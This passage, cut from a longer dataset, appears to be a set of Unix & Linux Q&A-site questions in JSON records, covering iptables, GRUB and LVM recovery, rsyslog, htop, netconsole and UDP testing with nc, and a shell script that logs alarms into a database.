the traffic using iptables and I have managed it to gain access to the network using these commands iptables -I FORWARD -d 192.168.12.0/24 -s 0.0.0.0/0 -j ACCEPT iptables -I FORWARD -s 192.168.12.0/24 -d 0.0.0.0/0 -j ACCEPT iptables -I FORWARD -s 192.168.1.0/24 -d 0.0.0.0/0 -j ACCEPT iptables -I FORWARD -d 192.168.1.0/24 -s 0.0.0.0/0 -j ACCEPT Could someone show me the right direction? EDIT 1: Thanks for your answers. I completely forgot about the kernel rules and applied them. I am now able to ping the machine from the 192.168.1.0/24 network and vice versa. But I unfortunately am not able to connect via ssh to this machine neither is it possible to ping anything else then 192.168.1.0/24 (and its origin network of course). The \"core\" router is properly configured, to route anything to the server network, to the kvm hypervisor. I also thought about the bridge as routed interface, and I added a new interface (eth0:1) which is now my \"outside\" interface, but this also doesn't change anything."} {"_id": "87589", "title": "Is it possible to change the priority of a message in rsyslog?", "text": "I have a very dramatic and hypocondriac program, and it likes to spew alarming messages to syslog in cases when nothing really important happens. Besides, it sends them with priority \"alert\", so they float above the rest of messages of lower priority (anything lower than \"err\"), that I usually skip. The messages have a very specific format that I could filter or match, given the tools. Is it possible, using rsyslog, to change the priority of these messages so they become \"warning\"? I don't want to get rid of them, just put them in their proper place."} {"_id": "109464", "title": "How can I fix/install/reinstall grub?", "text": "So I started out with a 250GB HDD, the stock drive from an EeePC 1015pem that I am trying to turn into a MintBook. The drive is physically operable, but all data has been nuked, including the old OS. Given this, I attached the HDD to my desktop and installed Linux Mint 16 Xfce from a live USB created through Unetbootin-585. Set aside 10GB for swap and 240GB for Ext4 and /. The drive now refuses to boot for either the desktop or netbook. Both motherboards are sounding the correct sequence of beeps, so they seem healthy, and I can successfully access the BIOS on both systems. However, the only thing that comes up after starting the computer is a nonresponsive command- line. There is no error message, no grub or grub-rescue, nothing. Is there anything I can try besides reformatting and starting over? How would I go about installing a boot loader that can boot my OS?"} {"_id": "121303", "title": "Why do I get dropped into a GRUB rescue console?", "text": "I've been setting up my environment on a fedora 20 64bit, the last week. After a restart tonight I am unable to boot into my system. It boots into this terminal/prompt and it says: [ Minimal bash-like editing is supported. For the first word, TAB lists possible completions of a device/filename. ] grub> I've tried to rescue the system, with the dvd, but no luck. I'm a noob, and could really need some help on this. I have installed a lot of software and I would rather not have to do it for the third time this week, last crash was because I installed grub2 and made some configurations, to include xen hypervisor support in the bootup forgetting to turn \"Secure boot\" off in the bios. Can anyone tell me what to do? What I can do. EDIT: This is not a duplicate, I installed the system some days ago, and had a working grub, mount of drives and so on. **It was after changes(installing software, configuring the system) that I got dropped into this prompt** I used the other answer to find the solution, I didn't follow it in it's entirety."} {"_id": "114745", "title": "Installing Grub from a 32bit rescue disk to a disk with 64bit Linux", "text": "Is it possible to reinstall Grub on a disk with 64bit Linux using a 32bit Linux rescue disk?"} {"_id": "154076", "title": "Getting the extra GPT info; a \"fdisk -l\" equivalent", "text": "What is the equivalent for GPT using HDDs of: `# fdisk -l /dev/hda > /mnt/sda1/hda_fdisk.info` I got this from https://wiki.archlinux.org/index.php/disk_cloning (under \"Create disk image\") for getting the extra hdd info which may be important for restoring or extracting from multi-partition images. When I do this I get an error similar to: \"WARNING: GPT (GUID Partition Table) detected on '/dev/sda'! The util fdisk doesn't support GPT. Use GNU Parted.\""} {"_id": "154071", "title": "How to use a separated user with GUI on OpenBSD?", "text": "A webbrowser is a GREAT attack vector since people use it to access the \"dangerous\" internet. Very bad things can come in through to the desktop. So in general for a desktop, we can do the following: have a separated*, ex.: \"firefox\" user that we use only for running the Firefox webbrowser. vi /etc/ssh/sshd_config Ports 44444 # increased port number to avoid simpler automated attacks ListenAddress 127.0.0.1 # only listen on localhost! PasswordAuthentication no # allow only pubkey PubkeyAuthentication yes # allow only pubkey etc. And of course we could limit in pf who can have access to port 44444, have port knocking, etc. Then the normal \"user\" start firefox with this ssh -p 44444 firefox@127.0.0.1 -X /home/firefox/.firefox/firefox-bin > /dev/null 2>&1 **The Question is:** Are there any better solution to use the webbrowser with a separated user? I didn't find \"gksu\" in the ports. Asking it specifically for OpenBSD using the default FVWM. Why isn't the SSH solution OK? AFAIK: - Using \"ssh -X\" is not a very secure solution - Using \"ssh -X\" can cause performance problems for the webbrowser *using a separated user we can limit the attack, so the attacker will not see the normal user \"user\"'s private files if it gets in to the desktop via the browser. UPDATE#1: copy&paste function should work for the webbrowser that we use with the separated user."} {"_id": "154070", "title": "Does BitTorrent work in the background after quitting qBitTorrent?", "text": "Recently I installed qBitTorrent so I could download some episodes of a Creative Commons-licensed TV series. I simply used `apt-get install qbittorrent`, ran `qbittorrent`, then added the torrent files, and pressed \"start\". I noticed that the series would take too long to download, so I quit qBitTorrent when it was at 10%. The next day, I launched qBitTorrent again, and was surprised to find the downloads complete. Either the 2.5 GBs downloaded within 3 seconds or something else occurred. Does BitTorrent continue to exchange files after starting the download in qBitTorrent and then quitting qBitTorrent?"} {"_id": "154072", "title": "Archlinux proper PKGBUILD: Python executable error", "text": "In a previous question, I asked about how to write a `PKGBUILD` to install a binary `.deb` package. The solution was to extract the contents of the `.deb` and copy the data to the archlinux package fakeroot, `\"${pkgdir}/\"`. That means if the `.deb` contains a `data.tar.gz` with the binaries stored in a `usr/lib` directory, the process to install this package is (In the `PKGBUILD`): package() { cd $srcdir tar -xvzf data.tar.gz install -dm755 \"${pkgdir}/usr/lib\" cp -r -f \"${srcdir}/usr/lib\" \"${pkgdir}/\" } However if I do that the package is installed successfully, but I cannot open the binaries (Written in python). If I execute a binary installed in that way, returns this error: > Cannot open self [path to executable] or file [path to executable].pkg On the other hand, if I write the `PKGBUILD` in the wrong way, that is, copying the binaries directly to the system root during `package()`: cp -r -f \"${srcdir}/usr/lib \"/\" The programs work perfectly. **Is there something I'm missing?** Here is the package."} {"_id": "119992", "title": "A Panel with FvwmButtons", "text": "I am trying to make a simple panel out of `FvwmButtons`. I want to use it instead of `FvwmTaskBar`. Because there was too many old stuff in the web I asked for Help here. I want to **understand** `FvwmButton` and the process it involves; So I devise a scenario. +--------------------------------+---------+--------------+-----------+ | | | | Stand | | FvwmIconMan |FvwmPager| Xclock | alone | | | | | Tray | +--------------------------------+---------+--------------+-----------+ 1. How to split `FvwmButtons` into this scheme? 2. How to `Swallow` this things into it? 3. How to manage The Space as it grows? (`FvwmIconMan` will grow by windows opened) `Auto-Resize in FvwmButtons seems not doable` 4. *How to tell the whole deal to sit at the bottom of the desktop (all the desktops) and other windows like (firefox and so on) to respect its place and no to go under or over it?"} {"_id": "119994", "title": "xmodmap configuration reset after time", "text": "I wrote a simple layout changing configuration for xmodmap (Caps/Ctrl swap, and such) and stored the config to `$HOME/.Xmodmap`. When I run `xmodmap ~/.Xmodmap` everything works fine, the layout is changed in every window. But after some time, approx. 10 min, the layout is reset to default. This happens without my restarting the computer, closing the terminal where I called xmodmap, going to sleep-mode, whatever. Is there a process that could rewrite the layout automatically? I am not sure if it is distribution-specific, but I am running Debian Wheeze with xfce4."} {"_id": "119997", "title": "Is pvcreate destructive? Attempting to recover an lvm2 volume group", "text": "I don't want to lose any data, so I'm asking if the solution Novell offers is safe to try. If not, are there safe alternatives? Step-by-tedious-step: 1. I have two volume groups: main and Rand; Rand is what I boot from while main is an older group. 2. main/home stopped mounting due to a possible bad superblock. (this error) 3. I found this Novell link suggesting `vgcfgrestore` yesterday, so I tried it. No bueno. 4. I then ran `fsck.jfs` on `/dev/main/home`, which allowed it to mount. Success! 5. This morning, I see errors. `df -h` shows `/dev/mapper/Rand-root` has 0 bytes free. Deleting a debian .iso--and more-- fails to change that. (20+ gigs were free yesterday.) 6. `vgscan`, `pvscan`--a lot of utilities fail to work due to a \"disk full\" error. 7. I reboot. `df -h` still reports 0 bytes free, but `vgscan` and `pvscan` work now. 8. Something one of those utilities returned led me to try `vgcfgrestore Rand`. No change in `df -h` and now main/home (mounted at `/mnt/10.10/`) starts spewing I/O errors. 9. Reboot. A BIOS/SMART error on a disk along with a `pvscan` error saying can't find device with uuid=\"uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82\", which `blkid` identifies as `/dev/sdb5`. 10. `fdisk -l` shows: Disk /dev/sdb: 120.0 GB, 120034123776 bytes 255 heads, 63 sectors/track, 14593 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00039f8a Device Boot Start End Blocks Id System /dev/sdb1 * 1 32 248832 83 Linux Partition 1 does not end on cylinder boundary. /dev/sdb2 32 14594 116969473 5 Extended /dev/sdb5 32 14594 116969472 8e Linux LVM Note: sector size is 4096 (not 512) 11. The Novell link says my problem fits Symptom 2 and provides a solution, but says nothing about `fdisk` reporting a partition error. (Which may be causing the SMART error.) The Novell solution says to first identify the device, then run `pvcreate` with the UUID and device as parameters, then `vgcfgrestore`, `vgscan`, `vgchange -ay`, and `fsck`. If I try this, is there a chance `pvcreate` will damage anything? Also, for the pvcreate command, should I use `/dev/sdb` or `/dev/sdb5` as the device? Output: ~ \u00bb sudo vgscan steven@Rand [sudo] password for steven: Reading all physical volumes. This may take a while... Found volume group \"Rand\" using metadata type lvm2 Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82. Found volume group \"main\" using metadata type lvm2 ------------------------------------------------------------ ~ \u00bb sudo pvscan steven@Rand Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82. PV /dev/sdb5 VG Rand lvm2 [111.55 GiB / 0 free] PV unknown device VG main lvm2 [1.36 TiB / 0 free] PV /dev/sda1 VG main lvm2 [465.76 GiB / 461.76 GiB free] Total: 3 [1.93 TiB] / in use: 3 [1.93 TiB] / in no VG: 0 [0 ] ------------------------------------------------------------ ~ \u00bb blkid steven@Rand /dev/sdb1: UUID=\"ba9a3955-0b9c-4660-9852-0f9f405d2f8e\" SEC_TYPE=\"ext2\" TYPE=\"ext3\" /dev/sdb5: UUID=\"uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82\" TYPE=\"LVM2_member\" /dev/sde1: LABEL=\"My Book\" UUID=\"A2CA0AEBCA0ABC13\" TYPE=\"ntfs\" /dev/sdf1: UUID=\"5F8C6ED4773C3763\" TYPE=\"ntfs\" ------------------------------------------------------------ ~ \u00bb sudo lvs Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82. LV VG Attr LSize Origin Snap% Move Log Copy% Convert root Rand -wi-ao 106.98g swap_1 Rand -wi-ao 4.56g home main -wi--- 1.35t root main -wi--- 2.00g swap main -wi--- 4.00g tmp main -wi--- 512.00m usr main -wi--- 6.00g var main -wi--- 2.00g ------------------------------------------------------------ ~ \u00bb sudo lvscan ACTIVE '/dev/Rand/root' [106.98 GiB] inherit ACTIVE '/dev/Rand/swap_1' [4.56 GiB] inherit Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82. inactive '/dev/main/swap' [4.00 GiB] inherit inactive '/dev/main/root' [2.00 GiB] inherit inactive '/dev/main/usr' [6.00 GiB] inherit inactive '/dev/main/var' [2.00 GiB] inherit inactive '/dev/main/tmp' [512.00 MiB] inherit inactive '/dev/main/home' [1.35 TiB] inherit ------------------------------------------------------------ ~ \u00bb sudo pvs Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82. PV VG Fmt Attr PSize PFree /dev/sda1 main lvm2 a- 465.76g 461.76g /dev/sdb5 Rand lvm2 a- 111.55g 0 unknown device main lvm2 a- 1.36t 0 ------------------------------------------------------------ ~ \u00bb blkid /dev/sdb1: UUID=\"ba9a3955-0b9c-4660-9852-0f9f405d2f8e\" SEC_TYPE=\"ext2\" TYPE=\"ext3\" /dev/sdb5: UUID=\"uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82\" TYPE=\"LVM2_member\" /dev/sde1: LABEL=\"My Book\" UUID=\"A2CA0AEBCA0ABC13\" TYPE=\"ntfs\" /dev/sdf1: UUID=\"5F8C6ED4773C3763\" TYPE=\"ntfs\" ------------------------------------------------------------ ~ \u00bb sudo vgs Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82. VG #PV #LV #SN Attr VSize VFree Rand 1 2 0 wz--n- 111.55g 0 main 2 6 0 wz-pn- 1.82t 461.76g ------------------------------------------------------------ ~ \u00bb sudo vgscan Reading all physical volumes. This may take a while... Found volume group \"Rand\" using metadata type lvm2 Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82. Found volume group \"main\" using metadata type lvm2 ------------------------------------------------------------ ~ \u00bb sudo pvscan Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82. PV /dev/sdb5 VG Rand lvm2 [111.55 GiB / 0 free] PV unknown device VG main lvm2 [1.36 TiB / 0 free] PV /dev/sda1 VG main lvm2 [465.76 GiB / 461.76 GiB free] Total: 3 [1.93 TiB] / in use: 3 [1.93 TiB] / in no VG: 0 [0 ] ------------------------------------------------------------"} {"_id": "17164", "title": "How to make a process invisible to other users?", "text": "How could you launch a process and make it invisible to the `top` command? The process is started by a normal user (not root), and should not be visible to other normal users."} {"_id": "148302", "title": "Use/See whole the flash memory space", "text": "When we bought a N Giga Byte flash memory, the free space that the OS provide for us, is less than N GigaBytes. For example, for a 2 GB flash memory, total space that we can use, is 1.86 GB. ![enter image description here](http://i.stack.imgur.com/jUF2E.jpg) As far as I know, the difference is for metadata. Is that right? **My question :** Is there any command or program in linux, to see or use whole the 2GB space? can I see those metadata and filesystems? Appreciate your time and consideration."} {"_id": "118023", "title": "Script always runs two instances", "text": "I was just curious, what may be the reason why script run two instances when executed. Whenever I run my script `foo.sh`, and when I check using: $ ps -ef | grep foo.sh It always returns two instances. user 30643 28793 0 11:09 pts/4 00:00:00 /bin/sh /foo.sh user 30645 30643 0 11:09 pts/4 00:00:04 /bin/sh /foo.sh ### foo.sh Here's the contents of the script. #!/bin/sh string=\"\" string2=\"\" string3=\"|\" _date=$(date +\"%D\") _time=$(date +\"%T\") tail -n 0 -F /tmp/snmp_debug.log | \\ while read LINE do echo $LINE | grep -q $string if [ $? = 0 ] then hostAdd=$(echo $LINE | awk -F'[][]' '{print $2;}') echo \"HostIP: $hostAdd\" >> sqlInsert.log fi echo $LINE | grep -q $string2 if [ $? = 0 ] then echo \"$_date $_time\" >> sqlInsert.log hostName=$(echo $LINE | awk -F'[<>]' '{print $4}') echo \"Hostname: $hostName\" >> sqlInsert.log fi echo $LINE | grep -q $string3 if [ $? = 0 ] then #output number of delimiters pipeNo=$(echo $LINE | awk -F '|' '{print NF-1}') #CCN Alarms if [ $pipeNo == 8 ] then echo $pipeNo >> sqlInsert.log errorTrim=$(echo $LINE | awk -F '[|-]' '{print $7}') echo $errorTrim >> sqlInsert.log #map CCN severity sevLev=$(echo $LINE | awk -F '|' '{print $7}') if [ $sevLev == 1 ] then sevLev=1; elif [ \"$sevLev\" -ge 2 ] && [ \"$sevLev\" -lt 6 ] then sevLev=10; elif [ $sevLev == 6 ] then sevLev=5; fi echo \"Sev $sevLev\" >> sqlInsert.log probCause_t=$(echo $LINE | awk -F '|' '{print $6}') probCause=$(grep -E \"^$probCause_t\" CCNProbCause.lookup | awk -F '|' '{ print $2 }') echo \"ProbCause $probCause\" >> sqlInsert.log alarmRem1=$(echo $LINE | awk -F '|' '{print $3 $8 $9}') alarmRem2=$(echo $alarmRem1 | sed \"s/\\\"//g;s/\\://g\") alarmRem=\"$probCause $alarmRem2\" echo \"Rem $alarmRem\" >> sqlInsert.log C_type=$(echo $LINE | awk -F '|' '{print $5}') echo \"C-type $C_type\" >> sqlInsert.log alarmType=$(grep -E \"^$C_type\" EricssonEventsCCN.lookup | awk -F '|' '{ print $2 }') echo \"Type $alarmType\" >> sqlInsert.log ##Connect and insert to DB >> CCN sqlplus -s UPM_USER/UPM_USER << EOF >> sqlInsert.log insert into alarmlog_06 (errorid,agentid,moduleid,moduleinstance,hostaddress,severity,remarks,status,entrydate,umuidate,classid) VALUES ($errorTrim,28,6034,1,'$hostAdd',$sevLev,'$alarmRem','P',sysdate,sysdate,$alarmType); commit; exit; EOF #echo \"Done Inserting to DB\" >> sqlInsert.log echo \"======================================\" >> sqlInsert.log #SDP & AIR Alarms elif [ $pipeNo == 5 ] then echo \"Pipe: $pipeNo\" >> sqlInsert.log probCause_t=$(echo $LINE | awk -F '|' '{print $5}') probCause=$(grep -E \"^$probCause_t\" SDPAIRProbCause.lookup | awk -F '|' '{ print $2 }') echo \"ProbCause $probCause\" >> sqlInsert.log alarmRem1=$(echo $LINE | awk -F '|' '{print $3}') alarmRem2=$(echo $alarmRem1 | sed \"s/\\\"//g;s/\\://g;s/\\;//g\") #alarmRem=\"$alarmRem2 $probCause\" alarmRem=\"$alarmRem2\" echo \"Rem $alarmRem\" >> sqlInsert.log SA_type=$(echo $LINE | awk -F '|' '{print $4}') alarmEType=$(grep -E \"^$SA_type\" EricssonEventsSDP.lookup | awk -F '|' '{ print $2 }') echo \"EventType $alarmEType\" >> sqlInsert.log alarmModesc=$(echo $LINE | awk -F '[|-]' '{print $7}') echo \"AlarmModelDesc $alarmModesc\" >> sqlInsert.log moduleid=$(grep \"$alarmModesc\" EricssonLookup.lookup | awk -F '|' '{ print $4 }') echo \"MOduleID $moduleid\" >> sqlInsert.log #map Severity for SDP & AIR sev1=$(echo $LINE | awk -F '|' '{print $6}') echo \"Severity $alarmSev\" >> sqlInsert.log if [ -z \"$sev1\" ] then sev=$(grep \"$alarmModesc\" EricssonLookup.lookup | awk -F '|' '{ print $3 }') if [ -z \"$sev\" ] then sev=10; #default severity for sdp&air (10) error else #map returned severity value if [ $sev == 1 ] then sev=1; elif [ \"$sev\" -ge 2 ] && [ \"$sev\" -lt 6 ] then sev=10; elif [ $sev == 6 ] then sev=5; fi fi echo \"Severity $sev\" >> sqlInsert.log else sev=$sev1 fi errornum=$(grep \"$alarmModesc\" EricssonLookup.lookup | awk -F '|' '{ print $2 }') if [ -z \"$errornum\" ] then errornum= insertstring=\"insert into alarmlog_06 (agentid,moduleinstance,hostaddress,severity,remarks,status,entrydate,umuidate,classid) VALUES (28,1,'$hostAdd',$sev,'$alarmRem','P',sysdate,sysdate,$alarmEType);\" echo \"ErrorID Not Found\" >> sqlInsert.log else insertstring=\"insert into alarmlog_06 (errorid,agentid,moduleid,moduleinstance,hostaddress,severity,remarks,status,entrydate,umuidate,classid) VALUES ($errornum,28,$moduleid,1,'$hostAdd',$sev,'$alarmRem','P',sysdate,sysdate,$alarmEType);\" echo \"ErrorID $errornum\" >> sqlInsert.log fi ##Connect and insert to DB sqlplus -s UPM_USER/UPM_USER << EOF >> sqlInsert.log $insertstring commit; exit; EOF echo \"========================================\" >> sqlInsert.log fi fi done"} {"_id": "148306", "title": "zip -r v/s zip -R", "text": "What is the difference between `-r` and `-R` in `zip` command. Obviously, I have googled about it. Also, I have referred this in quest of finding the difference, but didn't got clarification. Can anyone from community help me for this?"} {"_id": "118025", "title": "Making htop summaries respect --pid", "text": "I'm running this: $ htop --pid=3907,3940,3941,3947 and would like to make the CPU/Memory at the top _only_ count those PIDs. Is this possible? ### Other questions Also, are there flags for: 1. enter 'tree' mode on startup, or 2. change columns displayed? I'm trying to do it in a script, I know there are interactive methods."} {"_id": "582", "title": "How can I tell what version of OS X I'm on from the command line?", "text": "I frequently find myself SSHing into various OS X machines, and it'd be useful if I could tell what version of OS X I was on when I'm doing that. `uname -a` doesn't quite work, since Darwin kernel versions don't always change with the rest of the system."} {"_id": "118028", "title": "Debian web server inaccessible after moving VM", "text": "I have a dev laptop with Debian + LAMP as the dev env. We are using virtualbox and there are 2 network adapters : NAT and VB Host Only. I copied the VHD over to my desktop and setup the VM using the VHD and added NAT and VB Host only adapters to the VM in the VirtualBox interface. However when I boot up the VM I can no longer access the website on 192.168.56.101 On Firefox there is a weird message saying \"the connection has been reset\" but I don't know how to fix this. Is this a DNS cache problem?"} {"_id": "112394", "title": "UDP commands for Linux and Mac?", "text": "I'm trying to test UDP between 2 terminals in the same machine. For instance: **Terminal 1** * UDP listener@port:3000 * UDP sender to port:3001 **Terminal 2** * UDP listener@port:3001 * UDP sender to port:3000 and testing the above under the environment - MacOSX terminal and Linux Terminal (Android Emulators). Anyone knows command for this? I've googled and found `nc` for UNIX, but for OSX https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man1/nc.1.html $ nc [~] usage: nc [-46AcCDdFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] [-p source_port] [-s source_ip_address] [-w timeout] [-X proxy_version] [-x proxy_address[:port]] [hostname] [port[s]] It seems that `nc` does not have `-u` option for UDP. * * * EDIT: I've got answers that suggest the OSX `nc` does have `-u` option. Having said that. Aside from this Question, here's what I've done as the final approarch; **For OSX:** I use node.js instead of Shell commands for these UDP testing. This is much more powerful and comfortable to me. **For Android(Linux):** I prepared a test Android App project to test. Clone the project, and open the identical projects, and run 2 identical instances(emulators). Just for future references."} {"_id": "152954", "title": "How do I make Iceweasel\\Firefox only display images on specified sites?", "text": "Summary: In Iceweasel (it's effectively Firefox), I want to block all images, but allow images on websites I specify. But the standard method to do this is not working. The way you're supposed to be able to do this is as follows. In Iceweasel, select Edit/Preferences/Content and UNCHECK LoadImagesAutomatically. Select Exceptions, enter a website name, select \"Allow\". Now, Iceweasel should display images for websites with the \"Allow\" designaton, but not for any other site. But images are NOT displayed on the \"Allowed\" sites. NO images are shown on any sites. And I've got the NoScript extension disabled. I have no other extensions. Am I doing something wrong? If I have to use a workround, I don't want an extension that just toggles images on and off. I want to have images blocked by default, and only allow them on sites I choose. Many thanks if you have a solution. Full Details: I'm using Iceweasel 10.0.4. Is this an Iceweasel bug? Is there a workround? CHECKING LoadImagesAutomatically does display images on all sites as you'd expect."} {"_id": "131566", "title": "Acpitool no information", "text": "When I run as root `acpitool` I recieved Battery is not present, bailing out. AC adapter : Thermal info : I can understand why all the acpi modules are compiled in the kernel (3.14.4), this is the output of `cat /boot/config | grep acpi` I get CONFIG_ACPI_AC=y CONFIG_ACPI_BATTERY=y CONFIG_ACPI_BUTTON=y CONFIG_ACPI_VIDEO=m CONFIG_ACPI_FAN=y CONFIG_ACPI_DOCK=y CONFIG_ACPI_PROCESSOR=y # CONFIG_ACPI_IPMI is not set CONFIG_ACPI_HOTPLUG_CPU=y CONFIG_ACPI_PROCESSOR_AGGREGATOR=m CONFIG_ACPI_THERMAL=y # CONFIG_ACPI_CUSTOM_DSDT is not set CONFIG_ACPI_DEBUG=y # CONFIG_ACPI_PCI_SLOT is not set CONFIG_ACPI_CONTAINER=y # CONFIG_ACPI_SBS is not set # CONFIG_ACPI_HED is not set # CONFIG_ACPI_CUSTOM_METHOD is not set # CONFIG_ACPI_APEI is not set # CONFIG_ACPI_EXTLOG is not set CONFIG_X86_ACPI_CPUFREQ=y CONFIG_X86_ACPI_CPUFREQ_CPB=y # CONFIG_HOTPLUG_PCI_ACPI is not set CONFIG_PNPACPI=y CONFIG_BLK_DEV_IDEACPI=y CONFIG_ATA_ACPI=y CONFIG_PATA_ACPI=y # ACPI drivers CONFIG_GPIO_ACPI=y # ACPI drivers CONFIG_SENSORS_ACPI_POWER=m # CONFIG_ACPI_INT3403_THERMAL is not set # CONFIG_MMC_SDHCI_ACPI is not set CONFIG_DMA_ACPI=y # CONFIG_ACPI_QUICKSTART is not set CONFIG_THINKPAD_ACPI=m CONFIG_THINKPAD_ACPI_ALSA_SUPPORT=y CONFIG_THINKPAD_ACPI_DEBUGFACILITIES=y CONFIG_THINKPAD_ACPI_DEBUG=y CONFIG_THINKPAD_ACPI_UNSAFE_LEDS=y CONFIG_THINKPAD_ACPI_VIDEO=y CONFIG_THINKPAD_ACPI_HOTKEY_POLL=y CONFIG_ACPI_WMI=y CONFIG_ACPI_TOSHIBA=m # CONFIG_ACPI_CMPC is not set The ACPI_TOSHIBA module is loaded.The acpid daemon is running. Can someone help me and suggest me how to investigate more in the problem?"} {"_id": "45276", "title": "Merge files using zipper method / late merge", "text": "I am searching for a nice method of merging two or more files line by line using the zipper method (also called late merge). Assuming we have three files, the result should look like this: line1 file1 line1 file2 line1 file3 line2 file1 line2 file2 line2 file3 ... **EDIT** I wrote a little python script capable of doing this: #!/usr/bin/python import sys, itertools fileList = [] for file in sys.argv[1:]: f = open(file, \"r\") fileList.append(f.read().split(\"\\n\")) for z in itertools.izip_longest(*fileList): print \"\\n\".join([i for i in z if i is not None]) I still wonder if there is any standard tool or a clever combination of them doing the same thing."} {"_id": "58384", "title": "How to implement a horizontal cat?", "text": "Standard `cat` concatenates files line by line (row by row, if you will). I find myself needing a _horizontal_ `cat` command more and more often recently; i.e. a command that takes a list of files and concatenates them horizontally, column by column. So far I\u2019ve used ad-hoc workarounds but I\u2019d like to know if there exists a good solution for this. To clarify, consider the following comparison between `cat` and `hcat` of two files: $ cat a.dat 1.dat a b c d 1 2 3 4 $ hcat -s ' ' a.dat 1.dat a b 1 2 c d 3 4 (Unlike for `cat` we need to specify a separator since by convention UNIX files don\u2019t have a column separator at the end.)"} {"_id": "26693", "title": "BSD Books - Best books for OpenBSD and FreeBSD", "text": "I will begin a thorough study of the OpenBSD and FreeBSD, which are the most complete books? * * * I found these, which are the best? * Openbsd books * Freebsd books"} {"_id": "80750", "title": "Crontab not working", "text": "I'm trying execute a basic shutdown crontab to run M-F at 10PM. So I did the following: sudo crontab -e Once inside of the crontab I added the following line: 0 22 * * 1-5 shutdown now The job doesn't seem to be running properly and I cannot find any errors in `/var/log/syslog`. Is there anything glaringly wrong here?"} {"_id": "152953", "title": "Terminal freezes after using tar or gz", "text": "On Linux within `bash` the Pseudo Terminal window (`terminator`) as well as the Terminal itself \"freezes\" when trying to use autocomplete (`TAB`) as well as after getting an error message using `gzip` and `tar`. So far this only happens with `gzip` and `tar`\u2026 * after getting an error message (own fault, typos, etc.) * using autocomplete `CTRL`+`C` somehow solves the problem in so far as I can work on and have (up to now) no problems with other commands EXCEPT `tar`. Thus, the problem is repeatable. I would very much appreciate help from here on. I can isolate the problem further, as it had a \"comback\": As hinted in a comment, ~~un~~ commenting the following section in **`~/home/USER/.bashrc`** # if ! shopt -oq posix; then # if [ -f /usr/share/bash-completion/bash_completion ]; then # . /usr/share/bash-completion/bash_completion # elif [ -f /etc/bash_completion ]; then # . /etc/bash_completion # fi # fi helped in so far as _trying_ to use autocomplete * still sends the Terminal Emulation (`pts`) into deep freeze when using `TAB` after the first occurrence of `\\--` until `CTRL`+`C` ends it * the real terminal (`tty`) seems to ignore `TAB` completely with `gzip` and `tar`. I could live that and a long face, but then \u2026 really? **Config Files** The other config file (I know) for completion would be `/etc/bash.bashrc` which would turn completion off completely I guess. Not good. The config files for the terminal emulator doesn't have any settings for autocomplete or such I can type some characters and then the Terminal freezes - takes no more keystrokes. This happens both in an emulated terminal window (`pts`) in the GUI and also \"real\" promt (`tty`). I work from a keyboard connected via USB, and not on a laptop or the like. What would be a proper way to kill a terminal session like: \u00bbkill `tty1` from `tty2`\u00ab because this is exactly what I'm stuck here!"} {"_id": "46009", "title": "Editing a sequence of fields in vim", "text": "I have a file like this: INSERT INTO `example` (`name`, `location`, `height`) VALUES ('A', '', ''), ('B', '', ''), ('C', '', ''); I want to fill in the middle set of quote marks (the ones under `location`) so that I end up with INSERT INTO `example` (`name`, `location`, `height`) VALUES ('A', 'one', ''), ('B', 'two', ''), ('C', 'three', ''); What's a good way to do that? Aligning the third column of quotes isn't necessary, but preferred."} {"_id": "46003", "title": "How to set on executable bit for a particular file automatically", "text": "I want that when i make create a particular file, suppose i create it in vim editor, the created file should get executable permission as well when it gets created . I want this as i am creating some python files and don't want to explicitly set permissions for the file so i want some way so that executable bit is set as soon i create a file with particular extension or with a particular editor."} {"_id": "42580", "title": "How can I use netconsole to help solve a kernel panic?", "text": "When I try to use a raid as root, my system panics. I want to read the kernel output right before the panic, but can't scroll up. After Googling a bit, I wanted to try netconsole. but I get no output at all on the 2nd machine **relevant parts of my current grub.conf** title Gentoo Linux 3.0.6 root (hd0,0) kernel /boot/linux-3.0.6-gentoo root=/dev/md3 title Gentoo Linux 3.0.6 (debug netconsole) root (hd0,0) kernel /boot/linux-3.0.6-gentoo-debug root=/dev/md3 netconsole=@/,6666@192.168.0.27/00:18:f3:a8:09:61 #kernel /boot/linux-3.0.6-gentoo-debug root=/dev/md3 netconsole=6665@192.168.0.26/eth0,6666@192.168.0.27/00:18:f3:a8:09:61 title Gentoo Linux 3.0.6 (no root/auto root) root (hd0,0) kernel /boot/linux-3.0.6-gentoo * the 1st fails with a kernel panic * the 2nd is the one i try to use netconsole * the 3th starts but use the wrong/old root The other computer is running a Kubuntu LiveCD where I started `nc -u -l 6666`. And if I start the (first) computer with 3th grub option, I can run `nc -u 192.168.0.27 6666` to communicate with the 2nd computer. The difference between `/boot/linux-3.0.6-gentoo` and `/boot/linux-3.0.6-gentoo-debug` is that I enabled: * Kernel hacking -> Kernel debugging * Kernel hacking -> Delay each boot printk message by N milliseconds * Device Drivers -> Network device support -> Network console logging support ## Questions 1. Is my (2nd) grub config correctly defined? 2. Are there more kernel config options I should be enabling? 3. Is there more information about the specific machine hardware I should provide detail for? 4. Is there some way to just enable me to scroll back up after a panic?"} {"_id": "146206", "title": "Why can't tar extract .zip files?", "text": "I tried a majority of the formats (gzip, etc.) to extract a zip file with `tar`, and when I became frustrated enough to Google for it, I found no way to extract a zip file with `tar` and only recommendations to use `zip` or `unzip`. As a matter of fact, my Linux system doesn't even have a `zip` utility, but only `unzip` (leaving me to wonder why this is the main recommended option). Of 